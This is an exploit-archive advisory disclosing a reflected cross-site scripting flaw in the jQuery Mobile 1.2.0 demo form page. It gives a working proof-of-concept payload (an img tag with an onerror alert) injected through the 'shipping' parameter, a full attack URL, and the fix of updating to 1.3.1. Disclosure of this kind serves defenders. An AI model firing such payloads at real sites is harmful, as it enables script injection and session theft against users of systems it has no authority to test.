jQuery Mobile Docs 1.2.0 final XSS Reflected

[dr.d3v1l]

# Exploit Title: jQuery Mobile Docs 1.2.0 final XSS Reflected

# Software Link: jQuery Mobile: Demos and Documentation

# Exploit Author: Dr.d3v1l

# Tested On : Windows FireFox

# CVE : N/A

# Category: webapps

# Date: 05/09/2015

1. Description

Reflective XSS on forms-sample-response.php?shipping=

2. POC

URL:

404 Not Found

e.g.

code: "><img src="http://url.to.file.which/not.exist" onerror=alert(1);>

URL+CODE= http://localhost/fileadmin/mobile_site/templates/docs/forms/forms-sample-response.php?shipping="><img src="http://url.to.file.which/not.exist" onerror=alert(1);>

3. Solution:

Update to version 1.3.1

jQuery Mobile Demos